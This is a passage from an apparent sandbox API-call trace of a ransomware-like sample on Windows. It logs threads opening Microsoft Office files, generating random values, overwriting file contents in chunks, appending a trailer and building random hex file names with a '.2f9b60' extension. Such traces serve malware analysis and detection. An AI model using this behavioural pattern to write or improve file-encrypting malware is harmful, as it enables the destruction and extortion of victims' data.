_Format="%c%c" | out: _Dest="5b") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="35") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="36") returned 2 [0163.158] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="74") returned 2 [0163.158] RtlInitAnsiString (in: DestinationString=0x259ffcc8, SourceString="c93e269739fb548d99a163812ee44beb5b35e3d5a7ed3674" | out: DestinationString="c93e269739fb548d99a163812ee44beb5b35e3d5a7ed3674") [0163.158] RtlAnsiStringToUnicodeString (in: DestinationString=0x259ffc98, SourceString="c93e269739fb548d99a163812ee44beb5b35e3d5a7ed3674", AllocateDestinationString=1 | out: DestinationString="c93e269739fb548d99a163812ee44beb5b35e3d5a7ed3674") returned 0x0 [0163.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9940 [0163.158] RtlFreeAnsiString (AnsiString="c") [0163.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0163.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce139d0) returned 1 [0163.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2a80) returned 1 [0163.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ab0) returned 1 [0163.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2a50) returned 1 [0163.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0163.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b790) returned 1 [0163.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7f0) returned 1 [0163.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b820) returned 1 [0163.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x20509a80 [0163.162] wcscat (in: _Dest=0x20509a80, _Source="c93e269739fb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c93e269739fb") returned="C:\\Program Files\\Microsoft Office\\Office14\\c93e269739fb" [0163.162] wcscat (in: _Dest=0x20509a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c93e269739fb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\c93e269739fb.2f9b60" [0163.162] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\c93e269739fb.2f9b60", NtPathName=0x259ffc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\c93e269739fb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b862b40 Thread: id = 2270 os_tid = 0x6b8 [0143.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml")) returned 0x20 [0148.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML", dwFileAttributes=0x20) returned 1 [0148.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac4 [0148.482] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x2919fbe0 | out: lpFileSize=0x2919fbe0*=80116) returned 1 [0148.482] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x138f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.482] ReadFile (in: hFile=0x1ac4, lpBuffer=0x2919fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2919fba8, lpOverlapped=0x0 | out: lpBuffer=0x2919fb60*, lpNumberOfBytesRead=0x2919fba8*=0x4, lpOverlapped=0x0) returned 1 [0148.505] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0148.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0148.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0148.505] NtQuerySystemTime (in: CurrentTime=0x2919faa0 | out: CurrentTime=0x2919faa0*=132462177537298000) returned 0x0 [0148.505] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7a684a68 [0148.505] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x235562e9 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7ea86df0 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x68d01e5c [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x42619864 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x5f4bb027 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x406b20c2 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x424a8703 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x160ebd3b [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x974b43 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7736f68f [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x49e58bdd [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x6e362786 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x3d8c9b48 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x19416ca6 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0xb6c68e0 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x3eb77171 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x35bf81d4 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7957f14a [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x119bd222 [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x43748c2c [0148.506] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7849ea57 [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7c8a0aaa [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x592c588f [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x170ea614 [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x1172e3e0 [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x18b269fa [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x7cf24a [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x4746e979 [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x4b103024 [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0x3f7b44c9 [0148.507] RtlRandomEx (in: Seed=0x2919fa90 | out: Seed=0x2919fa90) returned 0xd22401a [0148.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0148.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0148.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0148.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0148.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0148.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0148.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce8e210 [0148.520] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.520] ReadFile (in: hFile=0x1ac4, lpBuffer=0x1ce8e210, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2919fb00, lpOverlapped=0x0 | out: lpBuffer=0x1ce8e210*, lpNumberOfBytesRead=0x2919fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0148.524] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0148.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869940 [0148.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0148.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0148.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce8a600 [0148.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0148.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0148.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0148.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0148.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0148.526] WriteFile (hFile=0x1ac4, lpBuffer=0x1ce8a600, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2919fb00, lpOverlapped=0x0) [0194.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce8a600) returned 1 [0194.228] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.228] ReadFile (in: hFile=0x1ac4, lpBuffer=0x1ce8e210, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2919fb00, lpOverlapped=0x0 | out: lpBuffer=0x1ce8e210*, lpNumberOfBytesRead=0x2919fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0194.317] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a2a0 [0194.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a2a0) returned 1 [0194.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c4d60 [0194.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a2a0 [0194.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a2d0 [0194.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a2d0) returned 1 [0194.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.321] WriteFile (in: hFile=0x1ac4, lpBuffer=0x423c4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2919fb00, lpOverlapped=0x0 | out: lpBuffer=0x423c4d60*, lpNumberOfBytesWritten=0x2919fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0204.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c4d60) returned 1 [0204.756] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0xfcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.756] ReadFile (in: hFile=0x1ac4, lpBuffer=0x1ce8e210, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2919fb00, lpOverlapped=0x0 | out: lpBuffer=0x1ce8e210*, lpNumberOfBytesRead=0x2919fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0204.758] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0xfcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0204.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0204.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0204.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0204.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c4d60 [0204.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0204.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7560 [0204.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7560) returned 1 [0204.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0204.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0204.762] WriteFile (in: hFile=0x1ac4, lpBuffer=0x423c4d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2919fb00, lpOverlapped=0x0 | out: lpBuffer=0x423c4d60*, lpNumberOfBytesWritten=0x2919fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0215.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c4d60) returned 1 [0215.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105600 [0215.052] SetFilePointerEx (in: hFile=0x1ac4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.052] WriteFile (in: hFile=0x1ac4, lpBuffer=0x430bd380*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x2919fbb0, lpOverlapped=0x0 | out: lpBuffer=0x430bd380*, lpNumberOfBytesWritten=0x2919fbb0*=0x14e, lpOverlapped=0x0) returned 1 [0219.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0219.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0219.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4205bf70 [0219.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0219.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0219.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0219.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce61e70 [0219.294] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="e5") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="92") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="e8") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="9d") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="a4") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="e2") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="fe") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="1d") returned 2 [0219.294] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="61") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="61") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="be") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="17") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="c4") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="3f") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="66") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="5c") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="21") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="15") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="90") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="6b") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="7d") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="bd") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="a0") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="68") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="05") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="50") returned 2 [0219.295] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="64") returned 2 [0219.295] RtlInitAnsiString (in: DestinationString=0x2919fc28, SourceString="e592e8ff9da4e2fe1d6161be17c43f665c2115906b7dbda068055064" | out: DestinationString="e592e8ff9da4e2fe1d6161be17c43f665c2115906b7dbda068055064") [0219.295] RtlAnsiStringToUnicodeString (in: DestinationString=0x2919fbf8, SourceString="e592e8ff9da4e2fe1d6161be17c43f665c2115906b7dbda068055064", AllocateDestinationString=1 | out: DestinationString="e592e8ff9da4e2fe1d6161be17c43f665c2115906b7dbda068055064") returned 0x0 [0219.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dcf0 [0219.297] wcscat (in: _Dest=0x202a40b0, _Source="e592e8ff9da4e2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\e592e8ff9da4e2") returned="C:\\Program Files\\Microsoft Office\\Office14\\e592e8ff9da4e2" [0219.297] wcscat (in: _Dest=0x202a40b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\e592e8ff9da4e2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\e592e8ff9da4e2.2f9b60" [0219.297] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\e592e8ff9da4e2.2f9b60", NtPathName=0x2919fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\e592e8ff9da4e2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43160140 Thread: id = 2271 os_tid = 0xaf4 [0143.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce59fb0 [0143.235] wcscpy (in: _Dest=0x1ce59fb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0143.235] wcscat (in: _Dest=0x1ce59fb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0143.235] wcscat (in: _Dest=0x1ce59fb0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*" [0143.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec3da0 [0143.235] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d1f0 [0148.649] wcscmp (_String1=".", _String2=".") returned 0 [0148.649] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.649] wcscmp (_String1="..", _String2=".") returned 1 [0148.649] wcscmp (_String1="..", _String2="..") returned 0 [0148.649] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0148.649] wcscmp (_String1="SendToOneNote-PipelineConfig.xml", _String2=".") returned 1 [0148.649] wcscmp (_String1="SendToOneNote-PipelineConfig.xml", _String2="..") returned 1 [0148.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d370 [0148.649] wcscpy (in: _Dest=0x2050d370, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0148.650] wcscat (in: _Dest=0x2050d370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0148.650] wcscat (in: _Dest=0x2050d370, _Source="SendToOneNote-PipelineConfig.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" [0152.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml")) returned 0x20 [0153.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml", dwFileAttributes=0x20) returned 1 [0153.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x954 [0153.159] GetFileSizeEx (in: hFile=0x954, lpFileSize=0x2555f880 | out: lpFileSize=0x2555f880*=506) returned 1 [0153.160] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x1f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.160] ReadFile (in: hFile=0x954, lpBuffer=0x2555f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2555f848, lpOverlapped=0x0 | out: lpBuffer=0x2555f800*, lpNumberOfBytesRead=0x2555f848*=0x4, lpOverlapped=0x0) returned 1 [0153.161] SetFilePointerEx (in: hFile=0x954, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420534f0 [0153.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053520 [0153.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053550 [0153.162] NtQuerySystemTime (in: CurrentTime=0x2555f740 | out: CurrentTime=0x2555f740*=132462177583006000) returned 0x0 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x1d1fe4a8 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x5ae1eae4 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 0x559d2444 [0153.162] RtlRandomEx (in: Seed=0x2555f730 | out: Seed=0x2555f730) returned 